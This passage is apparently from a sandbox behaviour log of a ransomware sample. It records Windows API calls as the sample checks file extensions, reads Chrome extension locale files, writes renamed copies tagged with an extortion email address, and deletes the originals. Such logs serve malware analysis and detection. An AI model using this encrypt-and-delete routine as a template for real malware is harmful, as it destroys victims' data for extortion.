lstrlenW (lpString=".pdf") returned 4 [0174.484] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".xls") returned 4 [0174.484] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".xlsx") returned 5 [0174.484] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.484] lstrlenW (lpString=".ppt") returned 4 [0174.484] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.484] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.484] lstrlenW (lpString=".zip") returned 4 [0174.484] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".rar") returned 4 [0174.484] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".bz2") returned 4 [0174.484] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.484] lstrlenW (lpString=".7z") returned 3 [0174.484] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString=".dbf") returned 4 [0174.485] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString=".1cd") returned 4 [0174.485] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString=".jpg") returned 4 [0174.485] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString=".doc") returned 4 [0174.485] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.485] lstrlenW (lpString=".docx") returned 5 [0174.485] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.485] lstrlenW (lpString=".pdf") returned 4 [0174.485] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.485] lstrlenW (lpString=".xls") returned 4 [0174.485] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.485] lstrlenW (lpString=".xlsx") returned 5 [0174.485] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.485] lstrlenW (lpString=".ppt") returned 4 [0174.485] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.485] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.485] lstrlenW (lpString=".zip") returned 4 [0174.485] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.485] lstrlenW (lpString=".rar") returned 4 [0174.485] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.485] lstrlenW (lpString=".bz2") returned 4 [0174.485] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.486] lstrlenW (lpString=".7z") returned 3 [0174.486] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.486] lstrlenW (lpString=".dbf") returned 4 [0174.486] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.486] lstrlenW (lpString=".1cd") returned 4 [0174.486] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.486] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 153 [0174.486] lstrlenW (lpString=".jpg") returned 4 [0174.486] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.486] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.486] lstrlenW (lpString="messages.json") returned 13 [0174.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.698] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.698] CloseHandle (hObject=0x198) returned 1 [0174.698] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json")) returned 0x2020 [0174.698] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.699] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.699] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.699] GetLastError () returned 0x0 [0174.699] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.705] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.706] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.706] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.706] SetEndOfFile (hFile=0x334) returned 1 [0174.707] CloseHandle (hObject=0x334) returned 1 [0174.707] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.707] SetEndOfFile (hFile=0x198) returned 1 [0174.707] CloseHandle (hObject=0x198) returned 1 [0174.707] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.708] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json")) returned 1 [0174.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.708] lstrlenW (lpString=".doc") returned 4 [0174.708] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.708] lstrlenW (lpString=".docx") returned 5 [0174.708] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.708] lstrlenW (lpString=".pdf") returned 4 [0174.708] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.708] lstrlenW (lpString=".xls") returned 4 [0174.708] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.708] lstrlenW (lpString=".xlsx") returned 5 [0174.708] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.708] lstrlenW (lpString=".ppt") returned 4 [0174.708] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.708] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.708] lstrlenW (lpString=".zip") returned 4 [0174.708] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.708] lstrlenW (lpString=".rar") returned 4 [0174.708] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.708] lstrlenW (lpString=".bz2") returned 4 [0174.709] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.709] lstrlenW (lpString=".7z") returned 3 [0174.709] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString=".dbf") returned 4 [0174.709] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString=".1cd") returned 4 [0174.709] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString=".jpg") returned 4 [0174.709] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString=".doc") returned 4 [0174.709] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.709] lstrlenW (lpString=".docx") returned 5 [0174.709] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.709] lstrlenW (lpString=".pdf") returned 4 [0174.709] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.709] lstrlenW (lpString=".xls") returned 4 [0174.709] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.709] lstrlenW (lpString=".xlsx") returned 5 [0174.709] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.709] lstrlenW (lpString=".ppt") returned 4 [0174.709] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.709] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.709] lstrlenW (lpString=".zip") returned 4 [0174.709] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.709] lstrlenW (lpString=".rar") returned 4 [0174.709] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.710] lstrlenW (lpString=".bz2") returned 4 [0174.710] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.710] lstrlenW (lpString=".7z") returned 3 [0174.710] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.710] lstrlenW (lpString=".dbf") returned 4 [0174.710] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.710] lstrlenW (lpString=".1cd") returned 4 [0174.710] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.710] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 153 [0174.710] lstrlenW (lpString=".jpg") returned 4 [0174.710] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.710] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.710] lstrlenW (lpString="messages.json") returned 13 [0174.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.711] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=179) returned 1 [0174.711] CloseHandle (hObject=0x198) returned 1 [0174.711] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json")) returned 0x2020 [0174.711] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.711] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.712] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.712] GetLastError () returned 0x0 [0174.712] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.714] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.715] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.715] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.715] SetEndOfFile (hFile=0x334) returned 1 [0174.715] CloseHandle (hObject=0x334) returned 1 [0174.715] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.715] SetEndOfFile (hFile=0x198) returned 1 [0174.716] CloseHandle (hObject=0x198) returned 1 [0174.716] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.716] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json")) returned 1 [0174.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.716] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.716] lstrlenW (lpString=".doc") returned 4 [0174.716] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.716] lstrlenW (lpString=".docx") returned 5 [0174.716] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.716] lstrlenW (lpString=".pdf") returned 4 [0174.716] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.716] lstrlenW (lpString=".xls") returned 4 [0174.716] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.716] lstrlenW (lpString=".xlsx") returned 5 [0174.717] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.717] lstrlenW (lpString=".ppt") returned 4 [0174.717] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString=".zip") returned 4 [0174.717] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.717] lstrlenW (lpString=".rar") returned 4 [0174.717] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.717] lstrlenW (lpString=".bz2") returned 4 [0174.717] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.717] lstrlenW (lpString=".7z") returned 3 [0174.717] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString=".dbf") returned 4 [0174.717] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString=".1cd") returned 4 [0174.717] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString=".jpg") returned 4 [0174.717] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.717] lstrlenW (lpString=".doc") returned 4 [0174.717] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.717] lstrlenW (lpString=".docx") returned 5 [0174.717] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.717] lstrlenW (lpString=".pdf") returned 4 [0174.717] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.717] lstrlenW (lpString=".xls") returned 4 [0174.717] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.718] lstrlenW (lpString=".xlsx") returned 5 [0174.718] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.718] lstrlenW (lpString=".ppt") returned 4 [0174.718] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.718] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 153 [0174.718] lstrlenW (lpString=".zip") returned 4 [0174.718] 